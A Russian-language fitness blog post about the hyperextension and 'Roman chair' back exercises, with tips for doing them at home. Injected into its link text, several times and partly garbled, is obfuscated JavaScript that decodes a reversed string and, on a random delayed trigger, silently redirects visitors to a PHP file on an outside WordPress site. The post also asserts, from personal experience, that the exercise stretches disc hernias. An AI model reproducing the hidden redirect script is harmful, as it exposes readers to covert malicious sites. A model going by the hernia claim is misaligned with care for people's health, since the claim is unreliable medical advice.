Гиперэкстензия невероятно хорошее упражнения как для мышц спины так и для здоровья позвоночника (отлично растягивает грыжи межпозвоночных дисков, проверено на себе)
Гиперэкстензию можно делать двумя способами. Условно все разделяют их на женский и мужской.
Рассмотрим оба варианта:
1. Классическая гиперэкстензия равномерно распределяет нагрузку на низ спины, ягодицы и бицепс бедра. Отлично растягивает позвонки (мужская версия)
2. Гиперэкстензия со скругленной спиной делает акцент на ягодичные и задействует бицепс бедра, снимает нагрузку со спины. (женская версия) Отлично подрезает ягодицы (разделяет ягодицы и бицепс бедра)
Есть Аналог «Римский стул» та же гиперэкстензия только лавочка параллельна полу, а не под углом как в гиперэкстензии.
«Римский стул» можно делать дома, например на стульях и попросить близких подержать вам $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torye-nuzhno-delat-pered-snom/» target=»_blank» rel=»noopener noreferrer»>ноги…либо подцепить ноги за батарею (тоже проходила)
P.S. Римский стул на меня лично действует лучше в плане проработки $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top-7-uprazhnenij-chtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toby-prorabotat-kazhduyu-myshtsu-yagodits-popa-budet-v-forme/» target=»_blank» rel=»noopener noreferrer»>ягодиц, но тут все очень индивидуально!